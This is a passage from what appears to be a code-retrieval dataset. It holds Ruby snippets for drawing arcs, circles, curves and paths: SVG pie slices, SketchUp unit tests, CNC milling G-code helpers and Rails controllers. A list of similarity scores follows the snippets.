corresponds to. 3.6 * percent gives us that angle, but it's in degrees, so we need to\n # convert, hence the muliplication by Pi over 180\n arc_end_x = r + 2 + (r * Math.cos((3.6 * percent)*(Math::PI/180)))\n\n # The same goes for here, except it's the vertical point instead of the horizontal one\n arc_end_y = r + 2 + (r * Math.sin((3.6 * percent)*(Math::PI/180)))\n\n # Because the SVG path format is seriously screwy, we need to set the large-arc-flag to 1\n # if the angle of an arc is greater than 180 degrees. I have no idea why this is, but it is.\n percent > 50? large_arc_flag = 1: large_arc_flag = 0\n\n # This is also confusing\n # M tells us to move to an absolute point on the image. We're moving to the center of the pie\n # h tells us to move to a relative point. We're moving to the right edge of the circle.\n # A tells us to start an absolute elliptical arc. The first two values are the radii of the ellipse\n # the third value is the x-axis-rotation (how to rotate the ellipse if we wanted to [could have some fun\n # with randomizing that maybe), the fourth value is our large-arc-flag, the fifth is the sweep-flag,\n # (again, confusing), the sixth and seventh values are the end point of the arc which we calculated previously\n # More info on the SVG path string format at: http://www.w3.org/TR/SVG/paths.html\n path = \"M#{r + 2},#{r + 2} h#{r} A#{r},#{r} 0 #{large_arc_flag},1 #{arc_end_x},#{arc_end_y} z\"\n @draw.path(path)\n\n @draw.draw(@canvas)\n @canvas\n end",
"def test_arc_radius_after_creation_with_negative_radius\n radius = nil\n assert_nothing_raised do\n # Create a 1/2 circle perpendicular to the normal or Z axis\n center = Geom::Point3d.new 0,0,-30\n normal = Geom::Vector3d.new 0,0,1\n xaxis = Geom::Vector3d.new 1,0,0\n start_a = -Math::PI/2\n end_a = 4.0 * Math::PI # Large enough to make a circle\n model = Sketchup.active_model\n entities = model.active_entities\n edgearray = entities.add_arc center, xaxis, normal, -5, start_a, end_a\n edge = edgearray[0]\n arccurve = edge.curve\n radius = arccurve.radius\n end\n assert_equal(5, radius,\n 'Failed in test_radius' )\n end",
"def create\n @arc = Arc.new(params[:arc])\n\n respond_to do |format|\n if @arc.save\n flash[:notice] = 'Arc was successfully created.'\n format.html { redirect_to(@arc) }\n format.xml { render :xml => @arc, :status => :created, :location => @arc }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @arc.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_radius_in_arcs\n radius = nil\n assert_nothing_raised do\n # Create a 1/2 circle perpendicular to the normal or Z axis\n center = Geom::Point3d.new 0,0,-30\n normal = Geom::Vector3d.new 0,0,1\n xaxis = Geom::Vector3d.new 1,0,0\n start_a = -Math::PI/2\n end_a = 4.0 * Math::PI # Large enough to make a circle\n model = Sketchup.active_model\n entities = model.active_entities\n edgearray = entities.add_arc center, xaxis, normal, 5, start_a, end_a\n edge = edgearray[0]\n arccurve = edge.curve\n radius = arccurve.radius\n end\n assert_equal(5, radius,\n 'Failed in test_radius' )\n end",
"def add_quadraticpath(controlPoint1: { :x => 0.0, :y => 0.0 }, \n endPoint: { :x => 10.0, :y => 20.0 })\n pathElement = { :elementtype => \"pathquadraticcurve\",\n :controlpoint1 => controlPoint1,\n :endpoint => endPoint }\n @pathArray.push(pathElement)\n @pathArray\n end",
"def add_curve(*args)\n end",
"def get_arc_points(cx,cy,radius, beg_angle, end_angle, degree_inc = 1.0)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n deg = beg_angle\r\n degree_inc = degree_inc.abs\r\n ares = Array.new\r\n while (deg < end_angle)\r\n #print \"(deg = \", deg, \")\\n\"\r\n cp = calc_point_from_angle(cx,cy, deg, tradius)\r\n ares.append(cp)\r\n deg += degree_inc\r\n end #while\r\nend",
"def calc_points_for_arc(cx, cy,radius=1.0, beg_angle=0, end_angle = 360, degree_inc = 1.0)\r\n# - - - - - - - - - - - - - - - - - - - - -\r\n if beg_angle > end_angle\r\n #swap if starting point is higher than ending point\r\n tt = beg_angle\r\n end_angle = beg_angle\r\n beg_angle = tt\r\n end #if\r\n res = Array.new\r\n curr_angle = beg_angle\r\n #p2 = calc_point_rotated_relative(p2.x, p2.y,1)\r\n #print \"angle_inc = \", angle_inc, \"\\n\"\r\n #print \"pp = \", pp, \"\\n\"\r\n \r\n start_point = calc_point_from_angle(0,0,beg_angle, radius)\r\n last_point = start_point \r\n res.append(start_point)\r\n \r\n # sets up the change of the \r\n stop_angle = end_angle\r\n if (end_angle == 360) && (beg_angle == 0)\r\n stop_angle -= 1\r\n end #if\r\n\r\n cnt = 1\r\n #print \" relative rotate point = \", p2, \"\\n\"\r\n while (curr_angle <= stop_angle)\r\n curr_angle += angle_inc\r\n p2 = calc_point_rotated_relative(last_point.x, last_point.y, angle_inc)\r\n print \" relative rotate point = \", p2, \"\\n\"\r\n res.append(p2)\r\n last_point = p2\r\n end\r\n return cnt\r\nend",
"def angle_from_arc(arc_length, offset_angle=0.0, precision=1.0)\n index = cumulative_distances(precision, offset_angle).closest_index(arc_length)\n @cumulative_distance_angles[index]\n end",
"def drawCircle(x, y, radius)\n x1, y1 = calc_point(radius, Math::PI * 2 - 0.0001, x, y)\n # TODO: is there a better way of expressing this?\n x2, y2 = calc_point(radius, 0, x, y)\n drawArc(x1, y1, x2, y2, radius, true, SweepDirection.Counterclockwise)\n end",
"def add_segment(segment)\n @segments.push(segment)\n @minimal_segment_count += 1\n end",
"def test_is_polygon_with_arc\n m = Sketchup.active_model\n ents = m.entities\n\n # Create an arc\n center = [0, 0, 0]\n xaxis = [1, 0, 0]\n normal = [0, 0, 1]\n radius = 20\n start_angle = 0\n end_angle = 180\n nsides = 6\n ents.add_arc center, xaxis, normal, radius, start_angle, end_angle, nsides\n\n # Check arc edges\n m.entities.each do |e|\n if e.is_a? Sketchup::Edge and e.curve.respond_to? 'is_polygon?'\n assert_equal(false, e.curve.is_polygon?,\n 'Curve of arc edge should not be polygon.')\n end\n end\n end",
"def add_arc_private(origin_index, destination_index, value = nil)\n\t\torigin_node = indexing.element_at(origin_index)\n\t\tdestination_node = indexing.element_at(destination_index)\n\t\tif are_nodes_valid(origin_node, destination_node)\n\n\t\t\tmatrix[origin_index, destination_index] = value.nil? ? 1 : value\n\t\t\treturn true\n\t\tend\n\t\tfalse\n\tend",
"def arc_test_2(mill = nil)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n #############\r\n ### ARC TEST #1\r\n #############\r\n if (mill == nil)\r\n mill = CNCMill.new\r\n mill.job_start()\r\n mill.home()\r\n end #if\r\n\r\n cx = 3\r\n cy = 2.5\r\n seg_beg_min_radius = 1.0\r\n seg_beg_max_radius = 1.1\r\n seg_end_min_radius = 0.9\r\n seg_end_max_radius = 2.4\r\n beg_angle = 230\r\n end_angle = beg_angle + 80\r\n degree_inc = 3\r\n depth = -1.5\r\n\r\n\r\n aRes = arc_pocket_adv(mill, cx,cy,\r\n seg_beg_min_radius, \r\n seg_beg_max_radius,\r\n beg_angle,\r\n seg_end_min_radius, \r\n seg_end_max_radius,\r\n end_angle, \r\n depth,\r\n degree_inc)\r\n\t\t \r\n return aRes\r\nend",
"def add_bezierpath_withcp1_cp2_endpoint(controlPoint1: { :x => 0.0,\n :y => 0.0 }, \n controlPoint2: { :x => 9.0,\n :y => 9.0 }, \n endPoint: { :x => 10.0,\n :y => 20.0 })\n pathElement = { :elementtype => \"pathbeziercurve\",\n :controlpoint1 => controlPoint1,\n :controlpoint2 => controlPoint2,\n :endpoint => endPoint }\n @pathArray.push(pathElement)\n @pathArray\n end",
"def pie_slice(center, options)\n vertices = arc_vertices(center, options)\n vertices.unshift(:point => center)\n if options[:stroke_both_sides]\n closed_curve(vertices)\n else\n open_curve(vertices)\n end\n end",
"def arc_to_radius(pMill, pCent_x, pCent_y, pBeg_radius,pBeg_deg, pEnd_radius, pEnd_deg,pBegZ, pEndZ)\r\n# # # # # # # # # # # # # # # # # # # \r\n # start as center and \r\n mill = pMill\r\n \r\n if (pBegZ > 0)\r\n pBegZ = 0 - pBegZ\r\n end\r\n if (pEndZ > 0)\r\n pEndZ = 0 - pEndZ\r\n end\r\n\r\n tot_step_cnt = 0\r\n #print \"(arc_to_radius pCent_x=\", pCent_x, \" pCent_y=\", pCent_y, \"pBeg_radius\", pBeg_radius, \" pBeg_deg=\", pBeg_deg, \" pEnd_radius=\", pEnd_radius, \" pEnd_deg=\", pEnd_deg, \")\\n\"\r\n\r\n # TODO: Calculate the distance traveled along the arc\r\n # and use it to adjust the amount of depth that can be\r\n # calculated. \r\n \r\n # TODO: Add a flag which is a face on versus a incremental side cut and when face on we need to either run slower or take a more shallow cut.\r\n curr_deg = pBeg_deg\r\n radius_delta = pEnd_radius - pBeg_radius\r\n degree_delta = pEnd_deg - pBeg_deg\r\n radius_inc = pMill.cut_inc\r\n def_deg_step = degrees_for_distance(pBeg_radius, 0.02)\r\n print \"(def_deg_step = \", def_deg_step, \")\\n\"\r\n # this is the number of degrees in 0.01 inches\r\n # or 1/100 of an inch. \r\n no_steps_deg = degree_delta / def_deg_step # One degree \r\n print \"(degree_delta=\", degree_delta, \")\\n\"\r\n print \"(radius_delta=\", radius_delta, \")\\n\"\r\n print \"(radius_inc=\", radius_inc, \")\\n\"\r\n no_steps = (radius_delta / radius_inc)\r\n if (no_steps_deg > no_steps)\r\n no_steps = no_steps_deg \r\n # use what ever number of steps is greater \r\n # by degree change or radius change. \r\n end \r\n \r\n # if there are not enough calculated steps\r\n # then increase automatically to use a larger\r\n # number to get some reasonably small granulatiry\r\n # of move.\r\n if (no_steps < 1)\r\n no_steps = 5 \r\n elsif (no_steps < 10)\r\n no_steps *= 5\r\n end\r\n \r\n no_steps = no_steps.to_i\r\n no_steps_f = no_steps.to_f\r\n radius_inc = radius_delta. / no_steps_f.abs\r\n degree_inc = degree_delta / no_steps_f.abs \r\n depth_inc = (pMill.cut_depth_inc * 0.7) / (no_steps_f.abs * 2.0) # have of the cut depth one way and one half on the way back\r\n curr_depth = pBegZ \r\n cnt = 0\r\n depth_end_flag = false\r\n \r\n while (depth_end_flag == false) \r\n curr_deg = pBeg_deg \r\n curr_radius = pBeg_radius \r\n \r\n for step_cnt in (1..no_steps) \r\n cp = calc_point_from_angle(\r\n pcx=pCent_x,\r\n pcy=pCent_y, \r\n angle=curr_deg, \r\n length=curr_radius)\r\n \r\n if (tot_step_cnt == 0)\r\n pMill.retract(pBegZ + 0.1)\r\n pMill.move_fast(cp.x,cp.y)\r\n pMill.move_fast(cp.x,cp.y, pBegZ)\r\n pMill.move(cp.x,cp.y)\r\n pMill.plung(curr_depth) \r\n end\r\n \r\n pMill.move(cp.x, cp.y, curr_depth)\r\n tot_step_cnt += 1\r\n curr_radius += radius_inc\r\n curr_deg += degree_inc \r\n curr_depth -= depth_inc \r\n if (curr_depth < pEndZ)\r\n curr_depth = pEndZ\r\n end \r\n end # for\r\n\r\n if curr_depth == pEndZ \r\n depth_end_flag = true\r\n end\r\n \r\n \r\n # Arch back to start \r\n for step_cnt in (1..no_steps)\r\n cp = calc_point_from_angle(\r\n pcx=pCent_x,\r\n pcy=pCent_y, \r\n angle=curr_deg, \r\n length=curr_radius)\r\n pMill.move(cp.x, cp.y, curr_depth)\r\n tot_step_cnt += 1\r\n curr_radius -= radius_inc\r\n curr_deg -= degree_inc \r\n curr_depth -= depth_inc \r\n if (curr_depth < pEndZ)\r\n curr_depth = pEndZ\r\n end \r\n end # for\r\n end # while depth\r\n\r\n pMill.retract(pBegZ)\r\n return 1\r\n\r\nend",
"def add(point)\n az_new = self.class.calculate_azimuth(point)\n az_new += @loop_number * 2 * Math::PI\n\n # check if we looped\n if az_new-@az_current>Math::PI\n az_new -= 2*Math::PI\n @loop_number -= 1\n elsif @az_current-az_new>Math::PI\n az_new += 2*Math::PI\n @loop_number += 1\n end\n # save adjusted value\n @az_current = az_new\n\n # possibly extend borders\n @az_min = [@az_min, az_new].min\n @az_max = [@az_max, az_new].max\n end",
"def add_line(point1, point2)\n end",
"def arc_radius(mill, pCent_x, pCent_y, pRadius, pBeg_deg, pEnd_deg, pBeg_z, pEnd_z, pAccuracy=0.05)\r\n# # # # # # # # # # # # # # # # # # # \r\n \r\n degree_inc = degrees_for_distance(pRadius, pAccuracy) #keep \r\n # our degree calc so we get about 0.005 inch\r\n # movement per degree which will keep the ragged\r\n # edges off of our larger circles.\r\n \r\n #print \"(arc_radius pCent_x=\", pCent_x, \" pCent_y=\", pCent_y, \" pRadius=\", pRadius, \" pBeg_deg=\", pBeg_deg, \" pEnd_deg=\", pEnd_deg, \" pBeg_z=\", pBeg_z, \"pEnd_z=\", pEnd_z, \"degree_inc = \", degree_inc, \")\\n\"\r\n if (pBeg_deg > pEnd_deg)\r\n pEnd_deg = pBeg_deg\r\n end\r\n \r\n if (pBeg_z > 0)\r\n pBeg_z = 0 - pBeg_z\r\n end\r\n \r\n if (pEnd_z > 0)\r\n pEnd_z = 0 - pEnd_z\r\n end\r\n \r\n \r\n \r\n curr_depth = pBeg_z\r\n cnt = 0\r\n while true \r\n curr_degree = pBeg_deg\r\n curr_depth -= mill.cut_depth_inc\r\n if (curr_depth < pEnd_z)\r\n curr_depth = pEnd_z\r\n end\r\n \r\n while (true)\r\n cnt += 1\r\n if (curr_degree > pEnd_deg)\r\n curr_degree = pEnd_deg\r\n end\r\n \r\n cp = calc_point_from_angle(\r\n pcx=pCent_x,\r\n pcy=pCent_y, \r\n angle=curr_degree, \r\n length=pRadius)\r\n if (cnt == 1)\r\n mill.move(cp.x, cp.y)\r\n # move before first plung\r\n # to position prior to the first \r\n # cut.\r\n end\r\n mill.plung(curr_depth) \r\n mill.move(cp.x, cp.y)\r\n\r\n if (curr_degree == pEnd_deg)\r\n break\r\n else\r\n curr_degree += degree_inc\r\n end\r\n end # for degrees\r\n if (curr_depth == pEnd_z)\r\n break\r\n end\r\n end # while depth\r\nend",
"def draw_static_rotate_circle(context, center)\n radius = 200\n upper_angle = Math::PI + Math::PI/8\n lower_angle = Math::PI - Math::PI/8\n\n CGContextSetStrokeColorWithColor(context,UIColor.redColor.CGColor)\n CGContextAddArc(context, center.x, center.y, radius, lower_angle, upper_angle, 0)\n CGContextSetLineWidth(context, 10)\n CGContextStrokePath(context)\n\n draw_rotate_circle_arrow(context, center, radius, upper_angle, true)\n draw_rotate_circle_arrow(context, center, radius, lower_angle, false)\n\n end",
"def fillCircle(x, y, r)\n fillArc(x-r, y-r, 2*r, 2*r, 0, 360*64)\n end",
"def CreateArcElement2(arg0, arg1, arg2, arg3, arg4, arg5, arg6)\n ret = _invoke(1610743977, [arg0, arg1, arg2, arg3, arg4, arg5, arg6], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_R8, VT_R8, VT_BYREF | VT_DISPATCH, VT_R8, VT_R8])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def append_segment(seg)\n update_meta_data(seg)\n @segments << seg\n end",
"def add_edge(from, to, cost)\n @edges << Edge.new(from, to, cost)\n end",
"def add!(other)\n @x += other.x\n @y += other.y\n @angle = rad2deg(Math.atan2(@y, @x))\n @length = Math.sqrt(@x * @x + @y * @y)\n end",
"def pt_arcs\n _arcs = arcs.select {|arc| arc.from_place_to_transition?}\n\n if block_given?\n _arcs.each {|arc| yield arc}\n else\n return _arcs\n end\n end",
"def mill_arc(mill, pxi,pyi,pRadius, pSpeed=nil, pDirection = \"G03\")\r\n # - - - - - - - - - - - - - - - - - -\r\n if (pSpeed == nil)\r\n pSpeed = mill.speed\r\n elsif (pSpeed == \"G03\") || (pSpeed == \"G02\")\r\n # allows us to keep old functions\r\n # that where not passing pSpeed working\r\n pDirection = pSpeed\r\n pSpeed = mill.speed\r\n end #if\r\n\r\n\r\n cp = mill.apply_limits(pxi,pyi)\r\n # Adjust our X,Y coordinates to fit\r\n # inside our machines currently defined\r\n # limits.\r\n\r\n opcode = \"G03\"\r\n if (pDirection == \"G02\") || (pDirection == \"clockwise\")\r\n opcode = \"G02\"\r\n end\r\n\r\n \r\n\r\n print opcode, \" X\", sprintf(\"%8.4f\", cp.x), \" Y\",sprintf(\"%8.4f\", cp.y) , \" R\",sprintf(\"%8.4f\", pRadius) , \" F\", sprintf(\"%4.1f\",pSpeed), \"\\n\"\r\n @pcy = pyi\r\n @pcx = pxi\r\n end",
"def add_segment(position, segment)\n @min_count += 1\n @min_solution[position] = true\n cover_line(segment)\n end",
"def arc_test_manual_array(mill = nil)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n #############\r\n ### ARC TEST #0\r\n #############\r\n if (mill == nil)\r\n mill = CNCMill.new\r\n mill.job_start()\r\n mill.home()\r\n end #if\r\n\r\n # variables used here to make\r\n # easy for reader.\r\n circ_x = 3.0\r\n circ_y = 2.0\r\n min_radius = 0.7\r\n max_radius = 0.95\r\n beg_angle = 0\r\n degree_inc = 4\r\n depth = -0.5\r\n sweep_angle = 30\r\n width = 0.1\r\n\r\n curr_beg_angle = beg_angle\r\n lc =0\r\n curr_min_radius = min_radius\r\n # illustrate an easy way to get a \r\n # concentric wrings of arc pockets\r\n while (lc < 3)\r\n max_radius = curr_min_radius + width\r\n curr_beg_angle = beg_angle\r\n lc += 1\r\n # illustrate an easy way to get a\r\n # repeating array of arc pockets\r\n cc = 0\r\n while (cc < 4)\r\n cc += 1\r\n end_angle = curr_beg_angle + sweep_angle\r\n aRes = arc_segment_pocket(mill, \r\n circ_x,\r\n circ_y,\r\n curr_min_radius, \r\n max_radius,\r\n curr_beg_angle,\r\n end_angle, \r\n 0, \r\n depth,\r\n degree_inc)\r\n mill.retract()\r\n curr_beg_angle = end_angle + (sweep_angle * 0.8)\r\n end #while\r\n width = width * 1.2\r\n curr_min_radius = max_radius + (width * 2)\r\n end #while\r\n return aRes\r\nend",
"def init_with_segment(segments)\n raise \"No segments\" if segments.empty?\n @segments = segments\n @start_point = segments.first.start_point\n @svg_subpath = Savage::SubPath.new(start_point.x, start_point.y)\n @svg_subpath.directions.concat(segments.map(&:direction))\n self\n end",
"def get_arc(name)\n arc = @objects[@arcs[name]]\n arc.nil? ? false : arc\n end",
"def add_carriage(carriage)\n raise 'Train is moving now!' if moving?\n\n @carriages << carriage\n end",
"def quarter_circle(center, options)\n case options[:quadrant]\n when 1\n start_angle = 0\n end_angle = 90\n when 2\n start_angle = 90\n end_angle = 180\n when 3\n start_angle = 180\n end_angle = 270\n when 4\n start_angle = 270\n end_angle = 360\n end\n pie_slice(center,\n :radius => options[:radius],\n :start_angle => start_angle,\n :end_angle => end_angle,\n :stroke_both_sides => options[:stroke_both_sides])\n end",
"def add_cpoint(point)\n end",
"def add_point\n end",
"def create\n @arc_type = ArcType.new(arc_type_params)\n\n respond_to do |format|\n if @arc_type.save\n format.html { redirect_to @arc_type, notice: 'Arc type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @arc_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @arc_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_edge(x, y, cost: 1)\n raise\n end",
"def add_ordinance(options)\n self.ordinances ||= []\n ordinance = OrdinanceAssertion.new\n ordinance.add_value(options)\n self.ordinances << ordinance\n end",
"def add_segment(segment)\n if !segment.fill? or (self.segments.size == 0)\n segments << segment\n self.save\n else\n false\n end\n end",
"def create_pathdrawelement(line_width: 16.0, stroke_color: nil)\n strokeColor = stroke_color unless stroke_color.nil?\n strokeColor = MIColor.make_rgbacolor(0.2, 0.2, 0.2) if stroke_color.nil?\n arcBox = MIShapes.make_rectangle(width: $theWidth, height: $theHeight)\n startX = $theWidth * 0.5 + $radius * Math.sin(-0.75 * Math::PI)\n startY = $theHeight * 0.5 + $radius * Math.cos(-0.75 * Math::PI)\n startPoint = MIShapes.make_point(startX, startY)\n arcBBox = MIShapes.make_rectangle(width: $theWidth, height: $theHeight)\n thePath = make_arcpath(inBox: arcBBox, radius: $radius)\n pathDrawElement = MIDrawElement.new(:strokepath)\n pathDrawElement.arrayofpathelements = thePath\n pathDrawElement.startpoint = startPoint\n pathDrawElement.linewidth = line_width\n pathDrawElement.linecap = :kCGLineCapRound\n pathDrawElement.strokecolor = strokeColor\n pathDrawElement\nend",
"def pie(x, y, r, start_angle, end_angle, options={})\n cur_page.pie(x, y, r, start_angle, end_angle, options)\n end",
"def +(other)\n return self.class.radians(@angle + other)\n end",
"def draw_circle x, y, r, color\n 0.step(360, 10) { |a1|\n a2 = a1 + 10\n draw_line x + Gosu.offset_x(a1, r), y + Gosu.offset_y(a1, r), color, x + Gosu.offset_x(a2, r), y + Gosu.offset_y(a2, r), color, 0\n }\n end",
"def add_circle(terrain, x0, y0, radius)\n x = radius\n y = 0\n decisionOver2 = 1 - x # Decision criterion divided by 2 evaluated at x=r, y=0\n\n while y <= x do\n set_cell x + x0, y + y0, terrain # Octant 1\n set_cell y + x0, x + y0, terrain # Octant 2\n set_cell -x + x0, y + y0, terrain # Octant 4\n set_cell -y + x0, x + y0, terrain # Octant 3\n set_cell -x + x0, -y + y0, terrain # Octant 5\n set_cell -y + x0, -x + y0, terrain # Octant 6\n set_cell x + x0, -y + y0, terrain # Octant 8\n set_cell y + x0, -x + y0, terrain # Octant 7\n y += 1\n end\n\n if decisionOver2 <= 0\n decisionOver2 += 2 * y + 1 # Change in decision criterion for y -> y+1\n else\n x -= 1\n decisionOver2 += 2 * (y - x) + 1; # Change for y -> y+1, x -> x-1\n end\n end",
"def addCuratorPoints _obj, _args\n \"_obj addCuratorPoints _args;\" \n end",
"def add point\n self.x += point.x\n self.y += point.y\n self\n end",
"def curve(cp1x, cp1y, cp2x, cp2y, x1, y1, x2, y2)\n beginpath(x1, y1)\n CGContextAddCurveToPoint(@ctx, cp1x, cp1y, cp2x, cp2y, x2, y2)\n endpath\n end",
"def initialize(mill, x, y, \r\n pBeg_min_radius, pBeg_max_radius, pBeg_angle=0,\r\n pEnd_min_radius=nil, pEnd_max_radius=nil, pEnd_angle=360,\r\n pDepth=nil, pDegree_inc=nil\r\n )\r\n # - - - - - - - - - - - - - - - - - -\r\n \r\n base_init(mill,x,y,nil,pDepth)\r\n @beg_min_radius = pBeg_min_radius\r\n @beg_max_radius = pBeg_max_radius\r\n @beg_angle = pBeg_angle\r\n @end_min_radius = pEnd_min_radius\r\n @end_max_radius = pEnd_max_radius\r\n @end_angle = pEnd_angle \r\n @degree_inc = pDegree_inc\r\n @depth = pDepth\r\n @needs_check_parms = true\r\n\r\n #print \"(CNCShapeArc init pDepth=\", pDepth, \" @pDepth=\", @pDepth, \")\\n\"\r\n #check_parms\r\n return self\r\n end",
"def add_total( name, &calculator )\n\t\t\t@categories << [name, calculator]\n\t\tend",
"def test_end_angle_on_circle\n end_angle = nil\n assert_nothing_raised do\n centerpoint = Geom::Point3d.new\n # Create a circle perpendicular to the normal or Z axis\n vector = Geom::Vector3d.new 0,0,1\n vector2 = vector.normalize!\n model = Sketchup.active_model\n entities = model.active_entities\n edgearray = entities.add_circle centerpoint, vector2, 11\n edge = edgearray[0]\n arccurve = edge.curve\n end_angle = arccurve.end_angle\n end\n assert_equal(Math::PI*2, end_angle,\n 'Failed: end_angle != PI*2' )\n end",
"def define_curve_adder(num_curves)\n params = Array.new(num_curves) { |i| \"c#{i}\" }\n param_list = params.join(', ')\n name = :\"add_curves_#{num_curves}\"\n\n # rubocop:disable Style/DocumentDynamicEvalDefinition\n instance_eval(<<-RUBY, __FILE__, __LINE__ + 1)\n def #{name}(#{param_list})\n length = curves_length(#{param_list})\n\n ::Merit::Curve.new(Array.new(length) do |index|\n #{params.map { |p| \"(#{p}[index] || 0.0)\" }.join(' + ')}\n end)\n end\n\n private_class_method name\n RUBY\n # rubocop:enable Style/DocumentDynamicEvalDefinition\n\n name\n end",
"def draw_rotate_circle(context, center, point)\n radius = 200\n\n #get Vector\n dpoint = point - center\n\n # Find angle\n radians = (Math::PI - (Math.atan2(dpoint.y,dpoint.x)*-1))\n\n clockwise = true\n\n # Round to sections\n radians = round_radians(radians)\n\n CGContextSetStrokeColorWithColor(context,UIColor.redColor.CGColor)\n if(radians > 0 and radians < Math::PI)\n CGContextAddArc(context, center.x, center.y, radius, Math::PI, radians+Math::PI, 0)\n else\n CGContextAddArc(context, center.x, center.y, radius, Math::PI, radians+Math::PI, 1)\n clockwise = false\n end\n CGContextSetLineWidth(context, 10)\n CGContextStrokePath(context)\n\n draw_rotate_circle_arrow(context, center, radius, radians-Math::PI, clockwise)\n end",
"def add_roundedrectangle(theRect, radius: 10.0)\n pathElement = { :elementtype => \"pathroundedrectangle\",\n :rect => theRect, :radius => radius.to_f }\n @pathArray.push(pathElement)\n @pathArray\n end",
"def add_line\n @layout.add_widget(HLine.new)\n end",
"def add_keyframe axis, angle, time\r\n\r\n # Add the keyframe to the track\r\n @track << [axis, angle, time]\r\n end",
"def CreateArcElement1(arg0, arg1, arg2, arg3)\n ret = _invoke(1610743976, [arg0, arg1, arg2, arg3], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def CreateArcElement4(arg0, arg1, arg2)\n ret = _invoke(1610744127, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def draw_circle(pt, radius, color)\n # @draw.stroke('transparent')\n @draw.stroke(color)\n @draw.fill(color)\n @draw.ellipse(pt[0], pt[1], radius, radius, 0, 360)\n end",
"def add_oval(ovalBounds)\n pathElement = { :elementtype => \"pathoval\", :rect => ovalBounds }\n @pathArray.push(pathElement)\n @pathArray\n end",
"def add(claim)\n # Track all the claims we see.\n @claims << claim\n\n claim.coords.each do |coord|\n coord_claims = @grid[coord]\n if coord_claims.nil?\n @grid[coord] = []\n else\n claim.overlapping = true\n coord_claims.each { |other_claim| other_claim.overlapping = true }\n end\n\n @grid[coord] << claim\n end\n end",
"def test_start_angle_on_circle\n start_angle = nil\n assert_nothing_raised do\n centerpoint = Geom::Point3d.new\n # Create a circle perpendicular to the normal or Z axis\n vector = Geom::Vector3d.new 0,0,1\n vector2 = vector.normalize!\n model = Sketchup.active_model\n entities = model.active_entities\n edgearray = entities.add_circle centerpoint, vector2, 11\n edge = edgearray[0]\n arccurve = edge.curve\n start_angle = arccurve.start_angle\n end\n assert_equal(0.0, start_angle,\n 'Failed: start_angle != PI*2' )\n end",
"def add_line(line)\n\t\t@lines << line\n\tend",
"def mill_arc_d(mill, pxi,pyi,pRadius, pBeg_z, pEnd_z, pSpeed=nil, pDirection = \"G03\")\r\n # - - - - - - - - - - - - - - - - - -\r\n if (pSpeed == nil)\r\n pSpeed = mill.speed\r\n elsif (pSpeed == \"G03\") || (pSpeed == \"G02\")\r\n # allows us to keep old functions\r\n # that where not passing pSpeed working\r\n pDirection = pSpeed\r\n pSpeed = mill.speed\r\n end #if\r\n\r\n\r\n cp = mill.apply_limits(pxi,pyi)\r\n # Adjust our X,Y coordinates to fit\r\n # inside our machines currently defined\r\n # limits.\r\n\r\n opcode = \"G03\"\r\n if (pDirection == \"G02\") || (pDirection == \"clockwise\")\r\n opcode = \"G02\"\r\n end\r\n\r\n mill.plung(pBeg_z) \r\n print opcode, \" X\", sprintf(\"%8.4f\", cp.x), \" Y\",sprintf(\"%8.4f\", cp.y) , \" Z\", sprintf(\"%8.4f\", pEnd_z), \" R\",sprintf(\"%8.4f\", pRadius) , \" F\", sprintf(\"4.1f\",pSpeed), \"\\n\"\r\n @pcy = pyi\r\n @pcx = pxi\r\n end",
"def test_end_angle_large_angle\n end_angle = nil\n assert_nothing_raised do\n # Create a 1/2 circle perpendicular to the normal or Z axis\n center = Geom::Point3d.new 0,0,-30\n normal = Geom::Vector3d.new 0,0,1\n xaxis = Geom::Vector3d.new 1,0,0\n start_a = 0.0\n end_a = 3.0 * Math::PI # Large enough to make a circle\n model = Sketchup.active_model\n entities = model.active_entities\n edgearray = entities.add_arc center, xaxis, normal, 5, start_a, end_a\n edge = edgearray[0]\n arccurve = edge.curve\n end_angle = arccurve.end_angle\n end\n assert_equal(Math::PI*2, end_angle,\n 'Failed: end_angle != PI*2' )\n end",
"def add_edge(node_city_A, node_city_B, distance)\n @edges[node_city_A] << Edge.new(node_city_B, distance)\n end",
"def add(regionEnd, obj)\n @map.push [regionEnd, obj]\n @sorted = false\n end",
"def add_a_c\n end",
"def test_end_angle_negative_stays_negative\n end_angle = nil\n assert_nothing_raised do\n # Create a 1/2 circle perpendicular to the normal or Z axis\n center = Geom::Point3d.new 0,0,40\n normal = Geom::Vector3d.new 0,0,1\n xaxis = Geom::Vector3d.new 1,0,0\n start_a = 0.0\n end_a = -Math::PI\n model = Sketchup.active_model\n entities = model.active_entities\n edgearray = entities.add_arc center, xaxis, normal, 5, start_a, end_a\n edge = edgearray[0]\n arccurve = edge.curve\n end_angle = arccurve.end_angle\n end\n assert_equal(-Math::PI, end_angle,\n 'Failed: end_angle != -PI' )\n end",
"def set_arc_type\n @arc_type = ArcType.find(params[:id])\n end",
"def oval(x=0, y=0, w=20, h=20, reg=@registration)\n # center the oval\n if (reg == :center)\n x = x - w / 2\n y = y - w / 2\n end\n CGContextAddEllipseInRect(@ctx, NSMakeRect(x, y, w, h))\n CGContextDrawPath(@ctx, KCGPathFillStroke) # apply fill and stroke\n end",
"def add(path); end",
"def circleArea(r)\n # return PI * r^2\n PI * r ** 2\n # set end of circleArea function\nend",
"def add(context, line)\n\t\t\t@lines << @line.new(context, line)\n\t\tend"
] | [
"0.756371",
"0.70085746",
"0.68496895",
"0.6623744",
"0.66129583",
"0.6586651",
"0.6373637",
"0.6262746",
"0.6182431",
"0.6090832",
"0.60807985",
"0.6033006",
"0.6032096",
"0.5983472",
"0.5907752",
"0.5809187",
"0.5715258",
"0.5671065",
"0.5329148",
"0.5329076",
"0.5300027",
"0.52637964",
"0.5220221",
"0.5213781",
